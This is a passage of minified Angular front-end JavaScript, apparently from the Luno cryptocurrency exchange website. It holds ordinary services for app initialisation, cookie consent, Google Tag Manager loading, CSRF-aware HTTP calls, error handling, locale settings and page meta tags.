t.processAppInfo(e)}).catch(function(e){return t.errorHandlerService.useBugsnag()&&c().notify(e),Promise.resolve()})}},{key:"loadLite",value:function(){var t=this;return this.getInitLiteData().toPromise().then(function(e){t.processAppInfo(e)}).catch(function(e){return t.errorHandlerService.useBugsnag()&&c().notify(e),Promise.resolve()})}},{key:"refresh",value:function(){var t=this;return this.getInitData().pipe((0,I.b)(function(e){return t.processAppInfo(e)}),(0,O.U)(function(t){return(0,D.i)(t)}))}},{key:"hasLoaded",get:function(){return this.appInfoSubject.asObservable().pipe((0,O.U)(function(t){return!!t}))}},{key:"userInfo",get:function(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.userInfo}},{key:"userInfo$",get:function(){return this.appInfoSubject.asObservable().pipe((0,N._)(),(0,O.U)(function(t){return t.userInfo}))}},{key:"profileInfo$",get:function(){return this.appInfoSubject.asObservable().pipe((0,N._)(),(0,O.U)(function(t){return t.profileInfo}))}},{key:"profileInfo",set:function(t){this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{profileInfo:Object.assign({},t)}))}},{key:"currencyInfo",get:function(){var e,n,i,r=null!==(n=null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.currencyInfo.currencies)&&void 0!==n?n:{},o=Object.keys(r).reduce(function(e,n){return Object.assign(Object.assign({},e),t({},n.toUpperCase(),r[n]))},{});return Object.assign(Object.assign({},null===(i=this.appInfoSubject.value)||void 0===i?void 0:i.currencyInfo),{currencies:Object.assign({},o)})}},{key:"navInfo",get:function(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.navInfo}},{key:"featureFlags",get:function(){var t;return Object.assign({},null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.featureFlags)}},{key:"isAuthenticated$",get:function(){return this.userInfo$.pipe((0,O.U)(function(t){return!!Number(t.userId)}))}},{key:"isAuthenticated",get:function(){var t,e;return!!Number(null===(e=null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.userInfo)||void 0===e?void 0:e.userId)}},{key:"GoogleSignInClientID",get:function(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.externalConfig.googleSocial.googleSigninClientId}},{key:"FacebookAppID",get:function(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.externalConfig.facebookSocial.facebookAppId}},{key:"googleTagManagerConfig",get:function(){var t;return Object.assign({},null===(t=this.externalConfig)||void 0===t?void 0:t.googleTagManager)}},{key:"staticAssetsUrl",get:function(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.urls.static}},{key:"assetsUrls",get:function(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.urls}},{key:"locOptions",get:function(){var t,e;return i(null!==(e=null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.locOptions)&&void 0!==e?e:[])},set:function(t){this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{locOptions:t}))}},{key:"externalConfig",get:function(){var t;return Object.assign({},null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.externalConfig)}},{key:"availableLanguages",get:function(){var t;return Object.assign({},null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.availableLanguages)}},{key:"preferences",get:function(){var t;return Object.assign({},null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.preferences)},set:function(t){this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{preferences:Object.assign({},t)}))}},{key:"customMetrics",get:function(){if(this.appInfoSubject.value)return Object.assign({},this.appInfoSubject.value.customMetrics)}},{key:"language",get:function(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.language},set:function(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{language:t,userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{language:t})}))}},{key:"country",set:function(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{preferredLocale:t})}))}},{key:"name",set:function(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{givenName:t})}))}},{key:"phoneVerified",set:function(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{phoneNumber:t,phoneVerified:!0})}))}},{key:"isOathEnabled",set:function(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{oathEnabled:t})}))}},{key:"siftscienceInfo",get:function(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.siftscienceInfo}},{key:"getInitData",value:function(){var t=this,e=0;return this.httpService.get("/ajax/1/init").pipe(v(function(n){return n.pipe((0,I.b)(function(n){(e+=1)===t.retryAmount&&t.errorHandlerService.useBugsnag()&&c().notify({name:"Init call failed",message:"".concat(n.status," - ").concat(n.message)})}),x(t.retryDelay),(0,R.q)(t.retryAmount))}))}},{key:"getInitLiteData",value:function(){var t=this,e=0;return this.httpService.get("/ajax/1/init_lite").pipe(v(function(n){return n.pipe((0,I.b)(function(n){(e+=1)===t.retryAmount&&t.errorHandlerService.useBugsnag()&&c().notify({name:"Init_lite call failed",message:"".concat(n.status," - ").concat(n.message)})}),x(t.retryDelay),(0,R.q)(t.retryAmount))}))}},{key:"mockAppInfo",value:function(t){if(t){this.appInfoSubject.next(Object.assign({},t));var e=t.language,n=e.includes("-")?e.split("-")[0]:e;this.i18n.setLanguage(this.supportedLanguageCodes[n]?n:"en"),this._hasProcessed=!0}}},{key:"processAppInfo",value:function(t){if(t){var e=(0,D.i)(t);e.availableLanguages&&(e.availableLanguages=this.processAvailableLanguages(e.availableLanguages)),e.currencyInfo&&(this.currencyInfoService.currencyInfo=e.currencyInfo),this.appInfoSubject.next(Object.assign(Object.assign({},e),{urls:Object.assign({},e.urls)})),this._hasProcessed=!0}}},{key:"processAvailableLanguages",value:function(t){var e=this;if(!this.supportedLanguages)return t;var n=Object.keys(t),i=Object.assign({},t);return n.forEach(function(t){e.supportedLanguages.includes(t)||delete i[t]}),i}}]),e}();return e.\u0275fac=function(t){return new(t||e)(a.LFG(M),a.LFG(F.q),a.LFG(P.OE),a.LFG(L.K),a.LFG(U,8))},e.\u0275prov=a.Yz7({token:e,factory:e.\u0275fac,providedIn:"root"}),e}()},94637:function(t,e,n){"use strict";n.d(e,{L:function(){return l}});var i,r=n(54364),a=n(2316),s=n(76491),u=n(81134),c=((i=function(){function t(e,n){_(this,t),this.document=e,this.platformId=n,this.documentIsAccessible=(0,r.NF)(this.platformId)}return y(t,[{key:"check",value:function(e){return!!this.documentIsAccessible&&(e=encodeURIComponent(e),t.getCookieRegExp(e).test(this.document.cookie))}},{key:"get",value:function(e){if(this.documentIsAccessible&&this.check(e)){e=encodeURIComponent(e);var n=t.getCookieRegExp(e).exec(this.document.cookie);return n[1]?t.safeDecodeURIComponent(n[1]):""}return""}},{key:"getAll",value:function(){if(!this.documentIsAccessible)return{};var e={},n=this.document;return n.cookie&&""!==n.cookie&&n.cookie.split(";").forEach(function(n){var i=o(n.split("="),2),r=i[0],a=i[1];e[t.safeDecodeURIComponent(r.replace(/^ /,""))]=t.safeDecodeURIComponent(a)}),e}},{key:"set",value:function(t,e,n,i,r,o,a){if(this.documentIsAccessible)if("number"==typeof n||n instanceof Date||i||r||o||a)this.set(t,e,{expires:n,path:i,domain:r,secure:o,sameSite:a||"Lax"});else{var s=encodeURIComponent(t)+"="+encodeURIComponent(e)+";",u=n||{};u.expires&&(s+="number"==typeof u.expires?"expires="+new Date((new Date).getTime()+1e3*u.expires*60*60*24).toUTCString()+";":"expires="+u.expires.toUTCString()+";"),u.path&&(s+="path="+u.path+";"),u.domain&&(s+="domain="+u.domain+";"),!1===u.secure&&"None"===u.sameSite&&(u.secure=!0,console.warn("[ngx-cookie-service] Cookie ".concat(t," was forced with secure flag because sameSite=None.More details : https://github.com/stevermeister/ngx-cookie-service/issues/86#issuecomment-597720130"))),u.secure&&(s+="secure;"),u.sameSite||(u.sameSite="Lax"),s+="sameSite="+u.sameSite+";",this.document.cookie=s}}},{key:"delete",value:function(t,e,n,i){var r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"Lax";if(this.documentIsAccessible){var o=new Date("Thu, 01 Jan 1970 00:00:01 GMT");this.set(t,"",{expires:o,path:e,domain:n,secure:i,sameSite:r})}}},{key:"deleteAll",value:function(t,e,n){var i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"Lax";if(this.documentIsAccessible){var r=this.getAll();for(var o in r)r.hasOwnProperty(o)&&this.delete(o,t,e,n,i)}}}],[{key:"getCookieRegExp",value:function(t){var e=t.replace(/([\[\]\{\}\(\)\|\=\;\+\?\,\.\*\^\$])/gi,"\\$1");return new RegExp("(?:^"+e+"|;\\s*"+e+")=(.*?)(?:;|$)","g")}},{key:"safeDecodeURIComponent",value:function(t){try{return decodeURIComponent(t)}catch(e){return t}}}]),t}()).\u0275fac=function(t){return new(t||i)(a.LFG(r.K0),a.LFG(a.Lbi))},i.\u0275prov=a.Yz7({factory:function(){return new i(a.LFG(r.K0),a.LFG(a.Lbi))},token:i,providedIn:"root"}),i),l=function(){var t=function(){function t(e,n){_(this,t),this.cookieService=e,this.platformId=n,this.cookieName="cookie_preferences",this.defaultPreferences={functional:!0,performance:!0,marketing:!0},this._preferences$=new s.X(this.defaultPreferences),this._showPreferences$=new s.X(!1),this.checkCookie()}return y(t,[{key:"preferences$",get:function(){return this._preferences$.asObservable()}},{key:"showPreferences$",get:function(){return(0,r.NF)(this.platformId)?this._showPreferences$.asObservable():(0,u.of)(!1)}},{key:"acceptAll",value:function(){this.setCookie({functional:!0,performance:!0,marketing:!0})}},{key:"acceptSelection",value:function(t){this.setCookie(t)}},{key:"triggerPreferencesUi",value:function(){this._showPreferences$.next(!0)}},{key:"setCookie",value:function(t){this.cookieService.set(this.cookieName,JSON.stringify(t),365,"/"),this._preferences$.next(t),this._showPreferences$.next(!1)}},{key:"checkCookie",value:function(){if(this.cookieService.check(this.cookieName)){var t=JSON.parse(this.cookieService.get(this.cookieName));if(!this.isValid(t))return this.cookieService.delete(this.cookieName),void this._showPreferences$.next(!0);this._preferences$.next(t)}else this._showPreferences$.next(!0)}},{key:"isValid",value:function(t){var e=Object.keys(t);return e.includes("functional")&&"boolean"==typeof t.functional&&e.includes("performance")&&"boolean"==typeof t.performance&&e.includes("marketing")&&"boolean"==typeof t.marketing&&3===e.length}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(c),a.LFG(a.Lbi))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}()},50501:function(t,e,n){"use strict";n.d(e,{q:function(){return a}});var i,r=n(54364),o=n(2316),a=((i=function(){function t(e){_(this,t),this.platformId=e,this.debugMode=!1}return y(t,[{key:"useBugsnag",value:function(){return void 0===this.useBugsnagCache&&(this.useBugsnagCache=(0,r.NF)(this.platformId)&&(this.debugMode||!(0,o.X6Q)())),this.useBugsnagCache}}]),t}()).\u0275fac=function(t){return new(t||i)(o.LFG(o.Lbi))},i.\u0275prov=o.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},98045:function(t,e,n){"use strict";n.d(e,{u:function(){return a},a:function(){return s}});var i,r=n(2316),o=n(87997),a=new r.OlP("FeatureFlagDataSource",{factory:function(){return{featureFlags:{}}}}),s=((i=function(){function t(e){_(this,t),this.dataProvider=e}return y(t,[{key:"isEnabled",value:function(t){return this.dataProvider.isCamelCased?!!this.dataProvider.featureFlags[(0,o.L)(t)]:!!this.dataProvider.featureFlags[t]}}]),t}()).\u0275fac=function(t){return new(t||i)(r.LFG(a))},i.\u0275prov=r.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},44036:function(t,e,n){"use strict";n.d(e,{E:function(){return a},b:function(){return l}});var i,r=n(32118),o=n.n(r),a=((i=a||(a={})).BUY_SUCCESS="buy_success",i.BUY_CANCELLED="buy_cancelled",i.SELL_SUCCESS="sell_success",i.SELL_CANCELLED="sell_cancelled",i.SEND_SUCCESS="send_success",i.SEND_CANCELLED="send_cancelled",i.VERIFY_PHONE_SUCCESS="verfiy_phone_success",i.SIGNUP_SUCCESS="signup_success",i.VERIFY_EMAIL_SUCCESS="verify_email_success",i.LOGIN="login",i.LOGOUT="logout",a),s=n(2316),u=n(94637),c=n(18742),l=function(){var t=function(){function t(e,n){_(this,t),this.cookiePreferencesService=e,this.windowRef=n,this.windowRef.nativeWindow.dataLayer=this.windowRef.nativeWindow.dataLayer||[]}return y(t,[{key:"pushEvent",value:function(t){this.pushTag({event:t})}},{key:"pushRevenueEvent",value:function(t,e){this.pushTag({event:t,rval:e})}},{key:"pushLoginEvent",value:function(t){this.pushTag({event:a.LOGIN,user_id:t})}},{key:"pushLogoutEvent",value:function(){this.pushTag({event:a.LOGOUT})}},{key:"pushOnDataLayer",value:function(t){this.getDataLayer().push(t)}},{key:"getDataLayer",value:function(){return this.windowRef.nativeWindow.dataLayer}},{key:"addGtmToDom",value:function(t){var e=this;this.cookiePreferencesService.preferences$.subscribe(function(n){!n.marketing||e.loadScript(t)})}},{key:"loadScript",value:function(e){if(e&&Object.keys(e).length){if(!this.isLoaded()){var n="https://www.googletagmanager.com/gtm.js?id=".concat(e.environmentId,">m_auth=").concat(e.auth,">m_preview=").concat(e.preview,">m_cookies_win=x"),i=document.createElement("script");i.id=t.SCRIPT_ID,i.async=!0,i.src=n,document.head.insertBefore(i,document.head.firstChild);var r=document.createElement("iframe");r.setAttribute("src",n),r.style.width="0",r.style.height="0",r.style.display="none",r.style.visibility="hidden";var a=document.createElement("noscript");a.id=t.NO_SCRIPT_ID,a.appendChild(r),document.body.insertBefore(a,document.body.firstChild),this.pushOnDataLayer({"gtm.start":(new Date).getTime(),event:"gtm.js"})}}else o().notify("No GTM config received")}},{key:"pushTag",value:function(t){!this.isLoaded()||this.pushOnDataLayer(t)}},{key:"isLoaded",value:function(){return!!document.getElementById(t.SCRIPT_ID)}}]),t}();return t.SCRIPT_ID="GTMscript",t.NO_SCRIPT_ID="GTMiframe",t.\u0275fac=function(e){return new(e||t)(s.LFG(u.L),s.LFG(c.X))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}()},7282:function(t,e,n){"use strict";n.d(e,{h:function(){return i}});var i=function(){function t(){_(this,t)}return y(t,[{key:"encodeKey",value:function(t){return encodeURIComponent(t)}},{key:"encodeValue",value:function(t){return encodeURIComponent(t)}},{key:"decodeKey",value:function(t){return decodeURIComponent(t)}},{key:"decodeValue",value:function(t){return decodeURIComponent(t)}}]),t}()},57662:function(t,e,n){"use strict";n.d(e,{O:function(){return u}});var i,r=n(53882),o=n(7282),a=n(2316),s=n(18742),u=((i=function(){function t(e,n){_(this,t),this.httpClient=e,this.windowRef=n}return y(t,[{key:"get",value:function(t,e){var n={params:this.makeParams(e)};return this.httpClient.get(t,n)}},{key:"post",value:function(t,e){return this.httpClient.post(t,this.makeParams(e),{headers:this.getFormHeaders()})}},{key:"postFormData",value:function(t,e){try{e.append("csrf_token",this.windowRef.nativeWindow.DATA.state.userInfo.csrf_token)}catch(n){}return this.httpClient.post(t,e)}},{key:"postJSON",value:function(t,e,n){var i=this.getJsonHeaders(n);return this.httpClient.post(t,JSON.stringify(e),{headers:i})}},{key:"putJSON",value:function(t,e,n){var i=this.getJsonHeaders(n);return this.httpClient.put(t,JSON.stringify(e),{headers:i})}},{key:"patchJSON",value:function(t,e,n){var i=this.getJsonHeaders(n);return this.httpClient.patch(t,JSON.stringify(e),{headers:i})}},{key:"putFormData",value:function(t,e,n){var i=this.getFormHeaders(n),o=new r.LE;return Object.keys(e||{}).forEach(function(t){o=o.set(t,e[t])}),this.httpClient.put(t,o.toString(),{headers:i})}},{key:"delete",value:function(t,e){return this.httpClient.delete(t,{params:this.makeParams(e),headers:this.getFormHeaders()})}},{key:"makeParams",value:function(t){var e=new r.LE({encoder:new o.h});return t&&Object.keys(t).forEach(function(n){e=e.set(n,t[n])}),e}},{key:"getFormHeaders",value:function(t){var e=this.getDefaultHeaders();return e=e.set("Content-Type","application/x-www-form-urlencoded"),t&&t.forEach(function(t){e=e.append(t.name,t.value)}),e}},{key:"getJsonHeaders",value:function(t){var e=this.getDefaultHeaders();return e=e.set("Content-Type","application/json"),t&&t.length&&t.forEach(function(t){e=e.append(t.name,t.value)}),e}},{key:"getDefaultHeaders",value:function(){var t=new r.WM;return this.maybeSetCsrfHeader(t)}},{key:"maybeSetCsrfHeader",value:function(t){var e,n,i,r,o=(null===(i=null===(n=null===(e=this.windowRef.nativeWindow.DATA)||void 0===e?void 0:e.state)||void 0===n?void 0:n.userInfo)||void 0===i?void 0:i.csrf_token)||(null===(r=this.windowRef.nativeWindow.DATA)||void 0===r?void 0:r.csrfToken);return o&&(t=t.set("X-Xsrf-Token",o)),t}}]),t}()).\u0275fac=function(t){return new(t||i)(a.LFG(r.eN),a.LFG(s.X))},i.\u0275prov=a.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},30706:function(t,e,n){"use strict";n.d(e,{OE:function(){return r.O},D3:function(){return p}});var i,r=n(57662),o=n(53882),a=n(32118),s=n.n(a),u=n(45871),c=n(18293),l=n(22210),h=function t(){_(this,t)},f=n(2316),d=n(50501),p=((i=function(){function t(e,n){_(this,t),this.i18n=e,this.errorHandlerService=n}return y(t,[{key:"intercept",value:function(t,e){var n=this;return e.handle(t).pipe((0,c.K)(function(e,i){var r,a=new h;if(a.status=e.status,401===e.status){var c=document.location.pathname+document.location.search,l=(new o.LE).set("redirect",c);document.location.href="/login?"+l.toString();var f=n.i18n.translateText("Authorisation required");a.message=f}else if(404===e.status){var d=n.i18n.translateText("Sorry, we couldn't find what you're looking for.");a.message="".concat(d," (").concat(e.status,")")}else if(429===e.status){var p=n.i18n.translateText("Too many requests. Please try again later.");a.message="".concat(p," (").concat(e.status,")")}else if(451===e.status){document.location.href="/region_unavailable";var v=n.i18n.translateText("Sorry, we cannot provide service in your region.");a.message="".concat(v," (").concat(e.status,")")}else if(500===e.status){var m=n.i18n.translateText("An error occurred. Please try again."),g=e.headers.get("X-Luno-Trace-ID");a.message=g?"".concat(m," (").concat(g,")"):"".concat(m)}else e.error&&e.error.error_code?(a.message=(null===(r=e.error)||void 0===r?void 0:r.error)||n.i18n.translateText("An error occurred. Please try again."),a.error=e.error):a.message=n.i18n.translateText("An error occurred. Please try again.");if(n.errorHandlerService.useBugsnag()){var y={url:t.url,errorMessage:e.message,errorError:e.error,errorName:e.name,errorStatus:e.status};s().addOnError(function(t){t.addMetadata("last response error",y)})}return(0,u._)(a)}))}}]),t}()).\u0275fac=function(t){return new(t||i)(f.LFG(l.K),f.LFG(d.q))},i.\u0275prov=f.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},62901:function(t,e,n){"use strict";n.d(e,{O:function(){return u}});var i,r=n(32118),o=n.n(r),a=n(2316),s=n(50501),u=((i=function(){function t(e){_(this,t),this.errorHandlerService=e,this._supportedLanguages=["en","en-us","fr","id","it"],this.territory="GB",this._defaultLocale="en-GB",this._locale=this._defaultLocale,this._defaultUrlPath="en",this._urlPath=this._defaultUrlPath}return y(t,[{key:"defaultUrlPath",get:function(){return this._defaultUrlPath}},{key:"locale",get:function(){return this._locale}},{key:"defaultLocale",get:function(){return this._defaultLocale}},{key:"urlPath",get:function(){return this._urlPath}},{key:"supportedLanguages",get:function(){return this._supportedLanguages},set:function(t){this._supportedLanguages=t}},{key:"set",value:function(t){var e;if(t){var n=t.match(/^([a-z]{2})(?:-([a-z]{2}))?$/i);n?this.processLocale(n[1].toLowerCase(),null===(e=n[2])||void 0===e?void 0:e.toUpperCase()):this.errorHandlerService.useBugsnag()&&o().notify("Unable to process locale",function(e){e.addMetadata("Locale",{locale:t})})}else this.errorHandlerService.useBugsnag()&&o().notify("No locale received")}},{key:"processLocale",value:function(t,e){switch(t){case"en":"US"!==e&&(e="GB");break;case"fr":case"id":case"it":e=t.toUpperCase();break;default:t="en",e="GB"}this.territory=e,this.setLocale(t,e),this.setUrlPath(t,e)}},{key:"setLocale",value:function(t,e){switch(t){case"en":return"US"===e?void(this._locale="".concat(t,"-US")):void(this._locale="".concat(t,"-GB"))}this._locale=t}},{key:"setUrlPath",value:function(t,e){switch(t){case"en":if("US"===e.toUpperCase())return void(this._urlPath="".concat(t,"-").concat(e))}this._urlPath=t}}]),t}()).\u0275fac=function(t){return new(t||i)(a.LFG(s.q))},i.\u0275prov=a.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},35053:function(t,e,n){"use strict";n.d(e,{v:function(){return u}});var i,r=n(3786),o=n(54364),a=n(2316),s=n(71570),u=function(){function t(e,n,r,o){_(this,t),this.document=e,this.title=n,this.meta=r,this.rendererFactory=o,this.titleSuffix="",this.addedHrefLangs=[],i.set(this,void 0)}return y(t,[{key:"setTitle",value:function(t){return this.title.setTitle("".concat(t).concat(this.titleSuffix)),this}},{key:"addDescription",value:function(t){return this.meta.addTag({name:"description",content:t}),this}},{key:"addKeywords",value:function(t){return this.meta.addTag({name:"keywords",content:t}),this}},{key:"updateDescription",value:function(t){return this.meta.updateTag({name:"description",content:t}),this}},{key:"addRobots",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"index, follow";return this.meta.addTag({name:"robots",content:t}),this}},{key:"setOpenGraph",value:function(t){!t||(t.title&&this.meta.updateTag({property:"og:title",content:t.title}),t.description&&this.meta.updateTag({property:"og:description",content:t.description}),t.image&&this.meta.updateTag({property:"og:image",content:t.image}),t.url&&this.meta.updateTag({property:"og:url",content:t.url}),t.locale&&this.meta.updateTag({property:"og:locale",content:t.locale}),t.siteName&&this.meta.updateTag({property:"og:site_name",content:t.siteName}),t.type&&this.meta.updateTag({property:"og:type",content:t.type}))}},{key:"setHreflangs",value:function(t,e){var n=this;t.forEach(function(t){n.createHreflangTag("".concat(e).concat(t.url),t.language)})}},{key:"createHreflangTag",value:function(t,e){if(this.maybeCreateRenderer(),this.renderer){var n=this.renderer.createElement("link");this.addedHrefLangs.push(n),this.renderer.setAttribute(n,"rel","alternate"),this.renderer.setAttribute(n,"hreflang",e),this.renderer.setAttribute(n,"href",t),this.renderer.appendChild(this.document.head,n)}}},{key:"setCanonicalTag",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(this.maybeCreateRenderer(),this.renderer){(0,r.Q_)(this,i,"f")&&this.renderer.removeChild(this.document.head,(0,r.Q_)(this,i,"f")),e&&(t=t.split("?")[0]);var n=this.renderer.createElement("link");(0,r.YH)(this,i,n,"f"),this.renderer.setAttribute(n,"rel","canonical"),this.renderer.setAttribute(n,"href",t),this.renderer.appendChild(this.document.head,n)}}},{key:"removeHreflangTags",value:function(){var t=this;!this.addedHrefLangs.length||(this.maybeCreateRenderer(),this.addedHrefLangs.forEach(function(e){!t.renderer||t.renderer.removeChild(t.document.head,e)}),this.addedHrefLangs=[])}},{key:"maybeCreateRenderer",value:function(){this.renderer||(this.renderer=this.rendererFactory.createRenderer(null,null))}}]),t}();i=new WeakMap,u.\u0275fac=function(t){return new(t||u)(a.LFG(o.K0),a.LFG(s.Dx),a.LFG(s.h_),a.LFG(a.FYo))},u.\u0275prov=a.Yz7({token:u,factory:u.\u0275fac,providedIn:"root"})},51257:function(t,e,n){"use strict";n.d(e,{o:function(){return s}});var i,r=n(22210),o=n(2316),a=n(68456),s=((i=function(){function t(e,n){_(this,t),this.message=e,this.matSnackBar=n,this.default={action:this.message.translateText("Got it")}}return y(t,[{key:"open",value:function(t,e,n){this.matSnackBar.open(t,void 0!==e?e:this.default.action,n)}}]),t}()).\u0275fac=function(t){return new(t||i)(o.LFG(r.K),o.LFG(a.ux))},i.\u0275prov=o.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},76677:function(t,e,n){"use strict";n.d(e,{h:function(){return o}});var i,r=n(2316),o=((i=function(){function t(e){_(this,t),this.rendererFactory=e,this.isFullCard=!1,this.fullCardClass="full-card",this.renderer=e.createRenderer(null,null)}return y(t,[{key:"setIsFullCard",value:function(t){this.isFullCard=t,this.isFullCard?this.addClass(this.fullCardClass):this.removeClass(this.fullCardClass)}},{key:"isFullCardApplied",value:function(){return this.isFullCard}},{key:"addClass",value:function(t){this.renderer.addClass(document.body,t)}},{key:"removeClass",value:function(t){this.renderer.removeClass(document.body,t)}}]),t}()).\u0275fac=function(t){return new(t||i)(r.LFG(r.FYo))},i.\u0275prov=r.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},18742:function(t,e,n){"use strict";n.d(e,{X:function(){return o}});var i,r=n(2316),o=((i=function(){function t(){_(this,t)}return y(t,[{key:"nativeWindow",get:function(){return window}}]),t}()).\u0275fac=function(t){return new(t||i)},i.\u0275prov=r.Yz7({token:i,factory:i.\u0275fac}),i)},34008:function(t,e,n){"use strict";n.d(e,{G:function(){return H},I:function(){return V}});var i="object"==typeof global&&global&&global.Object===Object&&global,r="object"==typeof self&&self&&self.Object===Object&&self,o=i||r||Function("return this")(),a=o.Symbol,s=Object.prototype,u=s.hasOwnProperty,c=s.toString,l=a?a.toStringTag:void 0,h=Object.prototype.toString,f=a?a.toStringTag:void 0,d=function(t){return null==t?void 0===t?"[object Undefined]":"[object Null]":f&&f in Object(t)?function(t){var e=u.call(t,l),n=t[l];try{t[l]=void 0;var i=!0}catch(o){}var r=c.call(t);return i&&(e?t[l]=n:delete t[l]),r}(t):function(t){return h.call(t)}(t)},p=function(t){return null!=t&&"object"==typeof t},v=function(t){return p(t)&&"[object Arguments]"==d(t)},m=Object.prototype,g=m.hasOwnProperty,y=m.propertyIsEnumerable,_=v(function(){return arguments}())?v:function(t){return p(t)&&g.call(t,"callee")&&!y.call(t,"callee")},b=Array.isArray,k="object"==typeof exports&&exports&&!exports.nodeType&&exports,w=k&&"object"==typeof module&&module&&!module.nodeType&&module,C=w&&w.exports===k?o.Buffer:void 0,x=(C?C.isBuffer:void 0)||function(){return!1},S=/^(?:0|[1-9]\d*)$/,E=function(t,e){var n=typeof t;return!!(e=null==e?9007199254740991:e)&&("number"==n||"symbol"!=n&&S.test(t))&&t>-1&&t%1==0&&t<e},A=function(t){return"number"==typeof t&&t>-1&&t%1==0&&t<=9007199254740991},T={};T["[object Float32Array]"]=T["[object Float64Array]"]=T["[object Int8Array]"]=T["[object Int16Array]"]=T["[object Int32Array]"]=T["[object Uint8Array]"]=T["[object Uint8ClampedArray]"]=T["[object Uint16Array]"]=T["[object Uint32Array]"]=!0,T["[object Arguments]"]=T["[object Array]"]=T["[object ArrayBuffer]"]=T["[object Boolean]"]=T["[object DataView]"]=T["[object Date]"]=T["[object Error]"]=T["[object Function]"]=T["[object Map]"]=T["[object Number]"]=T["[object Object]"]=T["[object RegExp]"]=T["[object Set]"]=T["[object String]"]=T["[object WeakMap]"]=!1;var I,O="object"==typeof exports&&exports&&!exports.nodeType&&exports,R=O&&"object"==typeof module&&module&&!module.nodeType&&module,P=R&&R.exports===O&&i.process,N=function(){try{return R&&R.require&&R.require("util").types||P&&P.binding&&P.binding("util")}catch(t){}}(),D=N&&N.isTypedArray,L=D?(I=D,function(t){return I(t)}):function(t){return p(t)&&A(t.length)&&!!T[d(t)]},M=Object.prototype.hasOwnProperty,F=Object.prototype,U=function(t,e){return function(n){return t(e(n))}}(Object.keys,Object),B=Object.prototype.hasOwnProperty,j=function(t){return null==t?[]:function(t,e){return function(t,e){for(var n=-1,i=null==t?0:t.length,r=Array(i);++n<i;)r[n]=e(t[n]);return r}(e,function(e){return t[e]})}(t,function(t){return function(t){return null!=t&&A(t.length)&&!function(t){if(!function(t){var e=typeof t;return null!=t&&("object"==e||"function"==e)}(t))return!1;var e=d(t);return"[object Function]"==e||"[object GeneratorFunction]"==e||"[object AsyncFunction]"==e||"[object Proxy]"==e}(t)}(t)?function(t,e){var n=b(t),i=!n&&_(t),r=!n&&!i&&x(t),o=!n&&!i&&!r&&L(t),a=n||i||r||o,s=a?function(t,e){for(var n=-1,i=Array(t);++n<t;)i[n]=e(n);return i}(t.length,String):[],u=s.length;for(var c in t)(e||M.call(t,c))&&(!a||!("length"==c||r&&("offset"==c||"parent"==c)||o&&("buffer"==c||"byteLength"==c||"byteOffset"==c)||E(c,u)))&&s.push(c);return s}(t):function(t){if(!function(t){var e=t&&t.constructor;return t===("function"==typeof e&&e.prototype||F)}(t))return U(t);var e=[];for(var n in Object(t))B.call(t,n)&&"constructor"!=n&&e.push(n);return e}(t)}(t))},H=function(t,e,n){return(!!t[e]||0===t[e])&&t[e]===n||e===n&&G(t).includes(e)},V=function(t,e){return G(t).find(function(n){return H(t,e,n)})},G=function(t){var e=j(t),n=e.filter(function(t){return"number"==typeof t});return e=0===n.length?e.filter(function(t){return"string"==typeof t}):n}},13660:function(t,e,n){"use strict";function i(t,e){if(!e)return null;var n=e.join("(?!-)|"),i=new RegExp("/(".concat(n,")\\b"));if(!t)return null;var r=t.match(i);return r?r[1]:null}n.d(e,{s:function(){return i}})},12815:function(t,e,n){"use strict";function i(t){var e=Symbol(),n=Symbol();return function(i,r){var o="string"==typeof t?i[t]:t;if(!o)throw new Error("Cannot find method ".concat(t," in class ").concat(i.constructor.name));Object.defineProperty(i,r,{set:function(t){var i=this;if(this[n]=void 